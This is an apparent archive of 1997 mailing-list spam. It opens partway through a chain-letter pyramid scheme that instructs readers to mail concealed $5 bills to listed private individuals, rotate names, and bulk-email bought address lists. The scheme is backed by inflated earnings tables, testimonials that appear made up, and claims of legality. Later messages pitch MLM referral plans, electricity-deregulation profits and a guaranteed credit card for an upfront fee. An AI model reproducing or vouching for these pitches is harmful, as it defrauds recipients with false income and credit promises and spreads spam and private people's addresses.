        -Raise capital to start their own business
        -Pay off debts
        -Buy homes, cars, etc.
        -Even retire!
This is your chance, so don't pass it up!

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~OVERVIEW
OF THIS EXTRAORDINARY ELECTRONIC MULTILEVEL MARKETING PROGRAM
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Basically, this is what we do:

We send thousands of people a product for $5.00 that cost next to nothing to
produce and e-mail. As with all multi-level business, we build our business by
recruiting new partners and selling our products. Every state in U.S allows you
to recruit new multi-level business on-line (via your computer).
The products in this program are a series of four business and financial reports
costing $5.00 each. Each order you receive via "snail mail" will include:
 $5.oo cash
 The name and number of the report they are ordering 
 The e-mail address where you will e-mail them the report they ordered

To fill  each order, you simply e-mail the product to the buyer. The $5.oo cash
is yours! This is the most EASIEST electronic multi-level business anywhere.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
FOLLOW THE INSTRUCTIONS TO THE LETTER AND BE PREPARED TO REAP THE STAGGERING
BENEFITS!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

                        -----INSTRUCTIONS------

THIS IS WHAT YOU MUST DO:

1.ORDER  all 4 reports shown on the list below (you can't sell them if you don't
have them).
 For each report, send $5.00 cash, the NAME  & NUMBER OF THE REPORT YOU ARE
ORDERING, YOUR E-MAIL ADDRESS, AND YOUR RETURN POSTAL ADDRESS(in case of a
problem) to the person whose name appears on the list next to report.
 When you place your order, make sure you order each of the four reports. You
will need all 4 reports, so you can save them on your computer and resell them.
 Within a few days you will receive, via e-mail, each of the four reports. Save
them on your computer so they will be accessible for you to send to the 1,000's
of people who will order them from you.
2. IMPORTANT- Do not alter the names of the people who are listed next to each
report, or their sequence
on the list, in anyway other than is instructed below in steps "a" through "d"
or you will loose out on the majority of your profits. Once you understand the
way this works, you will understand.
Why it doesn't work if you change it. Remember, this method has been tasted and
if you alter it, it will not work.
a. Look below for the listing of the available reports.
b. After you've ordered the four reports, replace the name and address under
REPORT#1 with your name and address, moving the one that was there down to
REPORT#2.
c. Move the name and address that was under REPORT#2 down the REPORT#3.
d. Move the name and address that was under REPORT#3 down the REPORT#4.
e. The name and address that was under REPORT#4 is removed from the list and HAS
NO DOUBT COLLECTED THEIR 50 GRAND.
Please make sure you copy everyone's name and address accurately!!!!
3.Take this entire letter, including the modified list of names and save it to
your computer. Make no changes to the instructions portion of this letter.
4. Now you are ready to start an advertising campaign on the internet!
Advertising on the internet is very, very inexpensive and there are hundreds of
free places to advertise, but email, by far proven itself to be the best medium
for this program. And the emailers best friend is email lists. You can buy these
lists for under $20/20.000addresses or you can pay someone a minimal charge to
take care of the mailing for you. Be sure that you ad campaign IMEDIATELY! Each
day that passes while you think about it, is a day without profit.
5. For every $5.00 you receive, all you must do is e-mail them the report they
ordered. THAT'S  IT! Always provide same day service on all other orders! This
will guarantee that the e-mail they send out with your name and address on it,
will be prompt because they can't advertise until they receive the reports.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Available reports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
***Order each report by number and name***
Notes:
- Always send $5.00 cash for each report
- Always send your order via first class mail
- Make sure the cash is concealed by wrapping it in at least two sheets of
paper!!!
- On one of those sheets of paper include : a)the number and name of the report
you are ordering, b)your email address, c) your postal address (using the
printer is the best way to do this)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
REPORT#1 "HOW TO MAKE 250,000 THROUGH MULTILEVEL SALES"

ORDER REPORT#1 FROM:
T Evans
297 Castro St.  #B
San Francisco CA,94114
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
REPORT#2 "MAJOR CORPORATIONS AND MULTILEVEL SALES"

ORDER REPORT#2 FROM:
Mateescu F
Str.Abatorului bl.1 ap.15
Sibiu-2400
ROMANIA

**********IMPORTANT NOTE**********
US DOLLARS CURRENCY only and $5 bill must be new, at least made in 1993 and
don't fold it.
Once again, make sure the cash is concealed by wrapping it in at least "two"
sheets of paper!

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
REPORT#3 "SOURCES FOR THE BEST MAILING LISTS"
Christian S
PO BOX 1092, JKB 11010
INDONESIA
ORDER REPORT#3 FROM:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
REPORT#4 "EVALUATING MULTILEVEL SALES PLANS"
J.F.J
P.O. BOX 342
McCormick, SC 29835-0342 
USA

ORDER REPORT#4 FROM:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
HERE IS HOW THIS AMZING PLAN WILL MAKE YOU $MONEY$
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Let's say you decide to start small jut to see how well it works. Assume your
goal is to get 10 people to participate on your first level (Placing a lot of
FREE ads on the INTERNET will easily get a larger response). Also assume that
everyone else in your organization gets only 10 down line members. Folow this
example to achieve the STAGGERING results below.

1st level--your 10 members with $5$50
2nd level --10 members from those 10($5x100)..$500
3rd level--10 members from those 100($5x1000)$5.000 
4th level--10 members from those 1000($5x10000)$50.000
THIS TOTALS-------------------------------$55,550

Remember friends this assumes that the people who participate only recruit 10
people each. Think for a moment what would happen if they got 20 people to
participate! Most people get 100's of participants!
Think about it!!!!.

Your cost to participate in this is practically nothing (surely you can afford
$20 for a chance to make $55,000). You obviously already have an internet
connection and email is free!! REPORT#3 shows you the most productive method for
bulk emailing and purchasing e-mail lists. Some list & bulk e-mail vendors even
work on trade!

About 50,000 new people get on-line every month.!!!!!!!

**********TIPS FOR SUCCESS******************

*TREAT THIS AS YOUR BUSINESS! Be prompt, professional and follow the directions
accurately.
*Send foe the four reports immediately so you will have them when the others
start coming in because:
When you receive a $5 order, you must send out the requested product/report to
comply with the U.S. postal and lottery Lows.
*Always provide some-day service on the orders you receive.
*Be patient and persistent with this program. If you follow the instructions
exactly the results will undoubtedly successful!
*ABOVE ALL, HAVE FAITH IN YOUSELF AND KNOW YOU WILL HAVE SUCCESS.
 I CAN' T STRESS ENOUGHHOW IMPORTANT THIS NEXT SECTION IS!!!!
If you don't receive 10 to 20 orders for REPORT#1 within two weeks, continue
advertising until you do. 
Then, a couple of weeks later you should receive at least 100 orders for
REPORT#2. If you don't, continue advertising until you do. Once you have
received 100 or more orders for REPORT#2, you CAN RELAX, because the system is
already working for you and the cash will continue to roll in!

THIS IS IMPORTANT TO REMEMBER:
Every time your name is moved down on the list, you are placed in front of a
DIFFERNT report.
You can KEEP TRACK OF YOUR PROGRESS BY watching which report people are ordering
from you.
If you want to generate more income, send another batch of emails and start the
whole process again!
THERE IS NO LIMITS TO THE INCOME YOU WILL GENERATE FROM THIS BUSINESS!

NOTE: If you need help with starting a business, registering a business name,
how income tax is handled, etc., contract your local office of the SMALL
BUSINESS ADMINISTRATION(a federal agency) for free help answers to questions.
Also, the INTERNAL REVENUE SERVICE offers free help via telephone and free
seminars about business taxes.

                *****TESTIMONIALS******

The first week after I started  this programwas torture. I couldn't wait to see
if it was really going to work, after I emailed out my first batch of letters. I
chuckled every day when I walk out of the post office with my envelopes. This is
so easy I still can't believe is happening! Don Masterson, Troy , NY

This program does work but you must follow it EXACTLY! Especially the rule of
not trying to place your name in a different position, it's won't work and
you'll lose a lot of potential income. I AM A LIVING PROOF THAT IT WORKS. It
really is a great opportunity to make relatively easy money, with little cost to
you. If you do chose to participate, follow the program exactly and you will on
your way to financial security. Sean McLaughlin, Jackson, MS

My name is Frank. My wife, Doris, and I live in Bel-Air, MD. I am a cost
accountant with a major U.S. Corporation and I make pretty good money. When I
received the program I grumbled to Doris about receiving " junk mail". I made
fun of the whole thing, spouting my knowledge of the population and percentages
involved. I "knew" it won't work. Doris totally ignored my supposed intelligence
and jumped in with both feet. I made merciless fun of her and was ready to lay
the old "I told you so" on her when the thing didn't work. .Well, the laugh was
on me!! Within 2 weeks she had received over 50 responses. Within 45 days she
had received over $147,200 in $5.oo bills! I was shocked! I was sure that I had
it all figured and that it wouldn't work. I am a believer now. I've joined Doris
in her "hobby" . I did have seven more years until retirement, but I think of
the "rat race", and it is not for me. We own it all to MLM. Frank T., Bel-Air,
MD

I just want to pass along my best wishes and encouragement to you. Any doubts
you have, will vanish when you first orders come in. I even checked with U.S.
Post Office to verify that the plan is legal. It definitely is! IT WORKS!!! Paul
Johnson, Raleigh, NC

The main reason for this letter is to convince you that this system is honest,
lawful, extremely, profitable and is a way to get a large amount of money in a
short time. I was approached several times before I checked this out. I joined
just to see what one could expect in return for a minimal effort and money
required. To my astonishment, I received $36,470.00 in the first 14 weeks, with
money still coming in. Sincerely yours, Phillip A. Brown, Esq.

Not being the gambling type, it took me several weeks to make up my mind to
participate in this plan. But conservative that I am, I decided that the initial
investment was so little that there was just no way that I wouldn't get enough
orders to at least get my money back. Boy, was I surprised when I found my
medium-size post office box crammed with orders! For awhile, it got so
overloaded that I had to start picking up my mail at the window. I'll make more
money this year than 10 years of my life before. The nice thing about this deal
is that it doesn't matter where in the U.S. the people live. There simply isn't
a better investment with a faster return. Marry Rockland, Lansing, MI

I had received this program before. I deleted it, but later I wondered if I
shouldn't have g
*** Get The Zen Bulk Emailer FREE - Where To Get it ***
*** FAX/CALL +1 212 2082904 (US) or FAX +44 (01772) 492507 (UK) ***
*** Or Download From FireFox Freeware  ***




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 03129704com2@tmi-osm.net
Date: Wed, 3 Dec 1997 08:15:32 -0800 (PST)
To: Friend@public.com
Subject: Delete if you do NOT have or plan to have a webpage.
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain





Online Sales & Marketing (OSM) would like your assistance 
With an Internet marketing survey. Your assistance would be greatly appreciated.       
Please go to:

	http://www.osmweb.net/survey2.htm


------------------------------------------------------------------------------------------------
We believe in free speech and responsible online
Mass marketing. To be removed from all future mailings
correctly, please send remove request to:

                  remove@tmi-osm.net




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 93704355@08177.com
Date: Wed, 3 Dec 1997 08:02:31 -0800 (PST)
To: Friend@public.com
Subject: Delete if you do NOT have or plan to have a webpage.
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain





Online Sales & Marketing (OSM) would like your assistance 
With an Internet marketing survey. Your assistance would be greatly appreciated.       
Please go to:

	http://www.osmweb.net/survey2.htm


------------------------------------------------------------------------------------------------
We believe in free speech and responsible online
Mass marketing. To be removed from all future mailings
correctly, please send remove request to:

                  remove@tmi-osm.net




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: works4me@ix.netcom.com
Date: Fri, 5 Dec 1997 23:15:13 -0800 (PST)
To: Friend@public.com
Subject: Get Your FREE Web Page Now!!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


Join Now! Tony Little Starts His Informercial in Just A Few weeks!  Email
Me For Your Own Free Self-Replicating Web Page.  No start up cost and pay
nothing if your downline isn't sufficient  in 30 days!

Get Your FREE Page NOW!

Simply hit REPLY!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 12733239@mci2000.com
Date: Sun, 7 Dec 1997 22:45:03 -0800 (PST)
To: FreePhoneCard@inter.net.com
Subject: FREE!! $10.00 Long Distance Phone Card!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


Dear Friend,

How would you like to receive absolutely.....

FREE! free! FREE! free! FREE! free! FREE!  

..a FREE $10.00 Long Distance Phone Card!!!

FREE! free! FREE! free! FREE! free! FREE!

Plus FREE Information On How You Can Create
THOUSANDS Of DOLLARS IN MONTHLY INCOME...GIVING 
THESE $10.00 FREE PHONE CARDS AWAY!!!
--------------------------------------------------------

PLUS...Save On Every Long Distance Call!

9.9 Cents Per Minute long distance flat rate...
Save on every long distance call at only 9.9 cents per minute!!!
(24 hours a day & 7 days a week!)
Long distance rates 9.9 cents per minute!
AT&T, MCI and Sprint can't touch this!
--------------------------------------------------------

800/888 Telephone Number For Your Home! Same Low Rate!

Avoid calling home collect!  Perfect for kids in college or
or even use it to check messages.  Your cost for this is the 
same, 9.9 cents per minute!  At&t charges a $10.00 monthly
service fee for this feature.
--------------------------------------------------------

Easy To Understand Billing!

No more confusing discount plans, minimum usage requirements,
day/night plans, mileage add-ons, circle plans, etc.  You always
get the same great flat rates!  And you dial direct just as you
do now with MCI, Sprint, Or AT&T.
--------------------------------------------------------

No-Surcharge Calling Card!

Compare, save up to 90%!  (vs. MCI, Sprint, AT&T)
Pick your own card number and PIN number for convenience.
--------------------------------------------------------

Why Not Check Us Out?

One more thing...Don't confuse this with phone 'clubs' who
charge a monthly fee ($10-$50) for the 'rights' to get a
discount.  Remember, you don't have to join anything to 
receive these great communication services.  Such as long
distance service, paging and calling cards!
--------------------------------------------------------

Make $100.00 Cash Immediately-And Create Thousands Of
Dollars In Monthly Income!

Just spread the good news!  Referring friends is no different
than what you already do everyday of your life.  How many
times have referred your friends to a favorite restaurant
or a store?

Have these businesses ever sent you a check? NO! 

WE DO!!  Just for telling people how to SAVE and MAKE MONEY!!
--------------------------------------------------------

We Do It All For You!

Just hand out brochures or Free Calling Cards and earn
thousands every month.  When prospects call us to inquire,
our trained professionals will take care of the rest.
--------------------------------------------------------

Why Everyone Loves Us!

*No enrollment cost!
*Our products sell themselves!
*No inventory!
*No investment required!
*This is not a fad!
*You don't have to 'sell"!
*Perfect for fund raising!
*FREE PAGERS!

(Print This Order Form and Cut Here at ~~~~ Line)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Dear Wayne,

Please send me a $10.00 FREE Long Distance phone card.  
I would also like to receive FREE information about the 
9.9 cents per minute long distance flat rate (24 hours
a day & 7 days a week).  Also send me FREE information 
about Prepaid Calling Cards and Smart Cards with enhanced 
features (such as voice/fax mail, pager notification,
conference calling and much more). Also send me info on 
how I can make THOUSANDS a month giving away FREE $10.00 
Calling Cards!!

Mail to:

CarProInc           Dept. LD
2121 Golden Centre Lane #40--9
Gold River, CA  95670
USA

***Due to the high response, include a SELF ADDRESSED
STAMPED ENVELOPE to ensure delivery of YOUR FREE LONG
DISTANCE PHONE CARD and additional FREE INFORMATION.
Thank You.

Name____________________________________________

Address_________________________________________

City______________________State_______Zip_______

Country_________________________________________

E-Mail Address__________________________________
07DEC97
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(Print This Order Form and Cut Here at ~~~~ Line)












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: opportunity@aol.com
Date: Mon, 8 Dec 1997 17:50:50 -0800 (PST)
To: Friends@worldwide.com
Subject: FUN FUN FUN!!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


I'm talking about making money!!  Getting checks in the mail is FUN!! 

For details visit:
http://www.InternetEnterprises.com/growth/60,001.html







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 31911738@nathanhoward.com
Date: Fri, 19 Dec 1997 00:40:51 -0800 (PST)
To: businesses@aol.com
Subject: $$ AUTOMATIC MONEY MACHINE$$
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


THE MOST POWERFUL HOME BASED MONEY MAKER IN THE WORLD! 

GUARANTEED PROFIT, HIGH TECH BIZ for New Millennium. 

No Sales "Indirect Marketing". No Recruiting or MLM. 

Potential  $10,000  Residual Monthly Profit In 7 Months.

No Loss, Written Guarantee On Opportunity And Profit.

2 Minute Recording

1-888-693-5490

REFERENCE NUMBER:  TO8544





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Streaming@goplay.com
Date: Tue, 23 Dec 1997 12:37:23 -0800 (PST)
To: Friend@public.com
Subject: Streamline
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


You Can Make Money While You Sleep!!!

No Selling!
No Meetings!
No Sponsoring!
No Dressing Up!
No Presentations!
No Time Required!
No Telephone Calls!
No Running Around!
No Face-to-Face Contact!

The On-Line Recruiter Does Everything For You !!!!
                                                 
Company mails FREE info packs!
Earn thousands your first MONTH!
Most lucrative pay plan in the industry!
Commission checks increase every month!
Completely automated sponsoring system!
Fast Track Bonus CHECKS GUARANTEED!

Not too mention the superb natural supplements from Dr. Christopher!  Formulas to 
improve your body, weight, energy, and mind!  

Please take a look before blowing this off, it's easy and it works, you just have to give it 
a chance!

http://www.geocities.com/Eureka/Gold/3309/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: M0RTGMAN@hotmail.com
Date: Sat, 27 Dec 1997 18:49:46 -0800 (PST)
To: Everyone@the.net
Subject: $215 Billion Electricity Industry Deregulates Jan "98
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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*** ELECTRICITY DEREGULATION ***
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

   IT'S REAL AND COMING IN JANUARY!!! 
THIS IS THE BUSINESS OPPORTUNITY OF THE CENTURY!!! 
Grab your share of this $215 Billion Dollar Industry!!
What does this mean!

* You can sell Electricity at up to 40% lower rates
  than Major Utilities!
* Cut your own electric bill 10-40%!
* Make money on the electricity others use whenever 
  someone turns on a light!

The time is NOW!!  YOU could be one of the first in 
your state or country to sieze this amazing opportunity!
Don't wait another minute!    

This will be the opportunity of 1998!!  It is 3 times as
big as the telecommunications industry was when it 
deregulated!

For more information, send and email to 
de.regulation@pemail.net please put electric in subject

To be removed from you list, please send email to
de.regulation@pemail.net please put remove in subject

We look forward to working with you!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: moneyman@opportunitygroup.com
Date: Tue, 30 Dec 1997 10:25:55 -0800 (PST)
To: Friend@public.com
Subject: Where have you been?
Message-ID: <>
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Joint Venture Associates has joined hands with one of the Nation's Largest
Credit Institution in an effort to issue 20 Million Unsecured Major Credit Cards.

We have tried to make the process of getting  your unsecured credit card
very simple and painless. You will not be asked to sign up with some network nor will you
be asked to pay a monthly fee for the credit card.

You are guaranteed a credit card even if you have bad credit, bankruptcy,
low income, charge offs, or short time at residency. 

The process is simple. Completely fill out the form below. You have two
options. You can mail or fax your request for your credit card. Include your processing
fee of $9.95 

(U S Dollars Only). 

You can fax a check or send cashiers check or money order. The address is
at the bottom of the processing form. By the way, your application fee is 100%
guaranteed. If you do not receive your credit card, your application fee will be refunded.

Here is what you can expect. All faxed processing forms with faxed checks
will be given immediate attention. When we receive your order form we will send you a
credit card application form to you the very next day that will require your signature.

We are currently receiving hundreds of applications per day. Act now and
you will  have  your credit card within 30 days.


CREDIT CARD PROCESSING FORM    

Last Name_____________________________ First Name__________________ MI____

Address ______________________________________  City______________________

State/Province_____________________________________

Country______________________________________

E-mail _____________________________________________________

Amount of Credit Desired ($5,000 Max) __________________________

How do you rate your credit rating? (  ) Great  (  ) Fair  (  ) Poor

Make all checks, money orders and cashiers checks payable to:Joint Venture
Associates.  If faxing your processing form and processing fee, fax to the following
number (954) 970-3130

If mailing you processing form and processing fee, mail to the following
address:

Joint Venture associates
1291A South Powerline Rd., Suite #101
Pompano Beach, FL 33069


 











